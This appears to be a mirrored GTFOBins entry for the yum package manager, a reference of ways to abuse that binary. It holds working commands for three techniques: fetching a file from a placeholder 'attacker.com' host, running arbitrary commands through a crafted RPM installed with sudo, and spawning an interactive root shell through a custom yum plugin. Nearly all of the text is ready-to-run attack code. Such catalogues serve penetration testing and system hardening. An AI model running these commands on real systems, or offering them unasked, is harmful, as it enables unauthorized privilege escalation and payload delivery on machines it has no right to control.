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https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-16 17:01:38 +02:00
46 lines
1.4 KiB
Markdown
46 lines
1.4 KiB
Markdown
---
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functions:
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file-download:
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- description: Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of `.rpm`, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp`, for example `/var/tmp/yum-root-cR0O4h/`.
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code: |
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RHOST=attacker.com
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RFILE=file_to_get.rpm
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yum install http://$RHOST/$RFILE
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sudo:
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- description: |
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It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
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```
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TF=$(mktemp -d)
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echo 'id' > $TF/x.sh
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fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
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```
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code: |
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sudo yum localinstall -y x-1.0-1.noarch.rpm
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- description: |
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Spawn interactive root shell by loading a custom plugin.
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code: |
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TF=$(mktemp -d)
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cat >$TF/x<<EOF
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[main]
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plugins=1
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pluginpath=$TF
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pluginconfpath=$TF
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EOF
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cat >$TF/y.conf<<EOF
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[main]
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enabled=1
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EOF
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cat >$TF/y.py<<EOF
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import os
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import yum
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from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
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requires_api_version='2.1'
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def init_hook(conduit):
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os.execl('/bin/sh','/bin/sh')
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EOF
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sudo yum -c $TF/x --enableplugin=y
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---
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